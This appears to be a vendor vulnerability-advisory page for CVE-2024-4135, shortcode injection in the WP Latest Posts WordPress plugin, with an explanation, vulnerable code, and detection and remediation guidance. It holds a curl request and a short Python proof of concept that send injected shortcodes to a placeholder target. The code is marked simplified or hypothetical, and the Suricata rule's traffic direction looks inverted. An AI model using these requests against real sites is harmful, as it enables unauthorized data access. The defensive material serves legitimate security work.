CVE-2024-4135
Executive Summary
CVE-2024-4135 is a critical security vulnerability in the WP Latest Posts WordPress plugin, affecting all versions up to and including 5.0.7. The flaw allows an unauthenticated attacker to execute arbitrary WordPress shortcodes by exploiting insufficient validation of user-supplied input before it is passed to the do_shortcode() function. This can lead to unauthorized data access, content manipulation, and potential privilege escalation depending on the shortcodes available in the WordPress environment.
The vulnerability is classified as CWE-94: Improper Control of Generation of Code ('Code Injection') and carries a CVSS v3.1 base score of 5.4 (Medium). While the EPSS score is currently 0.0%, indicating low exploitation probability in the wild, the lack of a confirmed patch makes this a significant risk for all sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As such, it is a supply chain risk for any WordPress site that has installed the WP Latest Posts plugin. Administrators must verify the plugin version and apply any available updates immediately. Since the patch status is unknown, manual code review or disabling the plugin is recommended until a fix is released.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 5.4 (Medium) |
Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality and integrity loss. However, the ability to execute arbitrary shortcodes can be chained with other vulnerabilities or plugins to achieve higher impact.
Deep Dive & Mechanics
The WP Latest Posts plugin provides a mechanism for users to execute actions that involve shortcode processing. The vulnerability lies in a function that accepts user-supplied input and passes it directly to WordPress's do_shortcode() function without proper sanitization or validation.
Root Cause: The plugin fails to validate that the user-supplied value is a legitimate shortcode or that the user has permission to execute it. This allows an attacker to inject arbitrary shortcodes, including those that may read sensitive data, modify content, or execute other plugins' shortcodes.
Attack Vector: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint, supplying a malicious shortcode string. The plugin then processes this string via do_shortcode(), executing the attacker's shortcode.
Example Shortcodes of Concern:
[user_info]– may leak user data[php]– if a PHP execution plugin is installed[wpv-post-body]– may expose post content- Any custom shortcode that performs sensitive operations
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In vulnerable version (<= 5.0.7)
function wp_latest_posts_execute_action() {
$shortcode = $_POST['shortcode']; // No validation
echo do_shortcode($shortcode);
}
Patched Code (hypothetical):
// In a patched version
function wp_latest_posts_execute_action() {
$shortcode = sanitize_text_field($_POST['shortcode']);
// Validate against allowed shortcodes list
$allowed = array('wp-latest-posts', 'another-safe-shortcode');
if (in_array($shortcode, $allowed)) {
echo do_shortcode($shortcode);
} else {
wp_die('Invalid shortcode');
}
}
The patched version would sanitize the input and restrict execution to a whitelist of allowed shortcodes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WP Latest Posts plugin <= 5.0.7
- Network access to the site
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=wp_latest_posts_execute). - Craft a POST request with a malicious shortcode:
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=wp_latest_posts_execute&shortcode=[wpv-post-body view=\"1\"]"
- Observe the output for sensitive data.
Proof of Concept (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
"action": "wp_latest_posts_execute",
"shortcode": "[user_info]"
}
response = requests.post(target, data=payload)
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor for POST requests to
admin-ajax.phpwithaction=wp_latest_posts_executeand suspiciousshortcodeparameters. - Look for shortcodes that are not part of the WP Latest Posts plugin.
Defense:
- Disable the WP Latest Posts plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
do_shortcodeor suspicious shortcode patterns. - Restrict access to
admin-ajax.phpfor unauthenticated users where possible.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith parameteraction=wp_latest_posts_execute - Shortcode strings in request body that are not standard WP Latest Posts shortcodes (e.g.,
[user_info],[php],[wpv-post-body])
File IOCs:
- Modified WordPress database entries containing unexpected shortcodes
- Log entries showing
do_shortcodecalls with unusual parameters
System IOCs:
- Unexpected user creation or privilege escalation
- Unauthorized content modifications
Detection Engineering
YARA Rule
rule CVE_2024_4135_WP_Latest_Posts_Shortcode_Injection {
meta:
description = "Detects exploitation attempts of CVE-2024-4135 in WP Latest Posts plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4135"
strings:
$ajax_action = "wp_latest_posts_execute"
$shortcode_param = "shortcode="
$dangerous_shortcodes = /\[(user_info|php|wpv-post-body|exec|system)\]/
condition:
$ajax_action and $shortcode_param and $dangerous_shortcodes
}
Sigma Rule
title: CVE-2024-4135 WP Latest Posts Shortcode Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-4135
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=wp_latest_posts_execute'
cs-uri-query|contains: 'shortcode='
condition: selection
falsepositives:
- Legitimate use of WP Latest Posts shortcodes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-4135 WP Latest Posts Shortcode Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=wp_latest_posts_execute"; http_client_body;
content:"shortcode="; http_client_body;
pcre:"/\[(user_info|php|wpv-post-body|exec|system)\]/Pi";
sid:1000001;
rev:1;
reference:cve,2024-4135;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the WP Latest Posts plugin until a patched version is released.
- Apply virtual patching – Use a WAF to block requests containing
action=wp_latest_posts_executewith suspicious shortcode parameters. - Monitor logs – Review web server and WordPress logs for exploitation attempts.
Long-term Fix:
- The vendor must release a patched version that validates and sanitizes user input before passing it to
do_shortcode(). - Implement a whitelist of allowed shortcodes.
- Add capability checks to ensure only authorized users can execute shortcodes.
Workarounds:
- If the plugin is essential, consider forking it and applying the patch manually.
- Restrict access to
admin-ajax.phpusing.htaccessor server configuration.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.